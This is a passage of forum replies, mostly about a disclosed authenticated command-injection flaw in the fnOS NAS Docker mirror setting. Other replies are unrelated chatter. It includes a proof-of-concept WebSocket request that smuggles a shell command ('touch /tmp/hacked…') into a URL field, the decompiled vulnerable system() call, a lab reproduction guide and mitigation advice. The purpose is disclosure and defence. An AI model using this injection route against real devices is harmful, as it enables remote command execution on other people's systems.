@likelylee 所以有钱的公司基本 M365 ent 解决

@jianglibo 真正高安全性 合理的密钥管理，需要 S E A 三个密钥分离，然后签子密钥，认识的人做 cross sign 认证，不是你这里点两下这么简单的

/go/promotions

@nomagick #90 何不食肉糜，小镇做题家的幻想
节前两周工地没活，他们想的是怎么再去打点零工，尽可能多赚点钱回家。

@lswlray #32 主要还是放假宣布太晚+普通员工带薪年假太少了……我司每年年头元旦后一周内宣布全年放假计划……搭配自由年假，人均年假>法律规定，允许居家办公，基本上提前两周左右办公室就几乎没人了……

@96 你搜搜他们老板原本是哪出来的就知道了。提示: boss 搜他们公司，看高管 title

@deepbytes https://www.synology.com/en-us/releaseNote/DSM 其实 synology 写的很清楚，就是要修最近的 gnu inetutils telnetd 的漏洞

@oppose2336 https://v2ex.com/t/1189392#r_17275646

我比较担心的是前面还有没有验证绕过...或者因为反代配置不当导致的绕过，如果没有那更好。

One more thing, 已中招的用户请考虑停止使用你的实例，一般类似的病毒加了 rootkit 之外都还有其他的持久化措施，我不想花时间再去看他们的东西了，如果数据区有相关感染的话，重装也没用。

本来不太想发 POC 的，但是鉴于官方在 1.15 还是装死，还是公开了。

Disclaimer: 仅供在自搭建的测试实例学习研究使用。

测试 POC：

WebSocket 连接： http://IP:5666/websocket?type=main

请求 Body：

```
cA8dKVgUFNf/5QdKdIa7nEhaup6ObIo6D18J0am+KBQ={"reqid":"697da669697da3bc000000090f31","req":"appcgi.dockermgr.systemMirrorAdd","url":"https://test.example.com ; /usr/bin/touch /tmp/hacked20260131 ; /usr/bin/echo ","name":"2"}
```

JSON 前面的内容是 使用浏览器的 localStorage.fnos-Secret 内的值作为 Key 对后面的 JSON 进行 HMAC-SHA256 后的签名。因为这个 Secret 仅在登陆成功后才会设定，因此需要现有一个有效的账户。

payload 放在请求体的 URL 内，成功后会在 /tmp 下创建文件 hacked20260131 。

此漏洞在当前最新版 1.1.15-1493 中仍然存在。

如果这个版本还有问题，那说明前面还有一个 authorization bypass 漏洞（要么是验证不当，要么是 Nginx 反代配置不当）。


-----


这里感谢 @Hantong 的回复：


我能找到的有记录的版本是 https://iso.liveupdate.fnnas.com/x86_64/trim/fnos-1.1.11-1438.iso, 然后拿官方的那个 https://fnnas.com/api/download-sign POST JSON `{"url": "https://iso.liveupdate.fnnas.com/x86_64/trim/fnos-1.1.11-1438.iso"}` 签个名就行


-----

当前的建议：

- 不要在公网暴露你的实例，使用 Zerotier / Tailscale 加一层保护。
- 如果一定要，可以试试长亭的 雷池 WAF ，但是我没实际验证过效果。

底层的关键代码是这样的：

```
snprintf(
s,
0x2000u,
"touch /run/test-mirror.json && dockerd --registry-mirror %s --validate --config-file /run/test-mirror.json",
(const char *)v10[0]);
if ( system(s) )
{
sub_1012C0(v14, "");
sub_1012C0(v12, "");
```


稍微写过一点 linux C 的人都知道，直接拼接了用户的输入到 system() 导致了命令执行。

官方可能以为前端校验了一下 URL 格式，后端就不用管了，所以造成了问题。

Disclaimer: 仅供在自搭建的测试实例学习研究使用。

问题函数是 appcgi.dockermgr.systemMirrorAdd 和 appcgi.dockermgr.systemMirrorChange

存在在后端的 /usr/trim/bin/dockermgr

是一个 authorized RCE 。

如果论坛的用户没有弱口令，那说明这个系统前面还有一个 Authorization Bypass 。

系统架构是 Nginx 反代了一些 local unix socket (/run/*.socket) 与后端服务通信，几个端口都是到 nginx 的。

很不幸的是，这个过程全程通过 Websocket 通信，在系统本地我快速用我的测试 payload grep 了一下本地的文本格式日志和 systemd journal ，没有找到任何的日志记录。

系统在 /usr/trim/var/eventlogger_service 下面有一个 sqlite3 日志，依然是没有相关的日志。

@Hantong POC 稍后发出

@a9htdkbv @yGin 原始的命令执行的问题在 1.15 还是存在的。

@Hantong 那我还是太高估他们了……下意识以为是一次性在后端生成的……闹半天单独签名 api…跟没签也没区别了…

有需要复现的用户 这里给个简单的 guide：
- 历史版本从这里获取一个 Docker Image：makedie/fnos:1.1.11-1438_rootfs
- 创建容器但不启动，设置容器的 entrypoint 为 /bin/true
- `docker export` 导出 rootfs 为 tar ，然后把 tar 写入到一个新的虚拟硬盘
- chroot 进去，修 grub 引导，设置 root 密码，设置 dns
- 装 vm guest tool
- （可选）修正 logrotate 启动：chmod 755 /var/log/apt
- 创建 VM 前添加防火墙，拦截到公网的流量，防止自动升级
- 然后创建 VM 并加载第二块虚拟磁盘，启动，创建存储空间
- 继续你的复现

@a9htdkbv 但是路径穿越的话，只是能下载文件啊，命令执行是另外的问题了

找了个历史版本的 docker 看了下，其实日志还蛮多的...等一个有缘人看看能不能有日志

还下不到历史版本，下载链接还有签名...合着全拿来防用户了...

看完这个描述，不会是 MiTM ，一定是有什么漏洞的。楼主如果没有什么介意的隐私的话，可以把系统日志打包 po 上来看看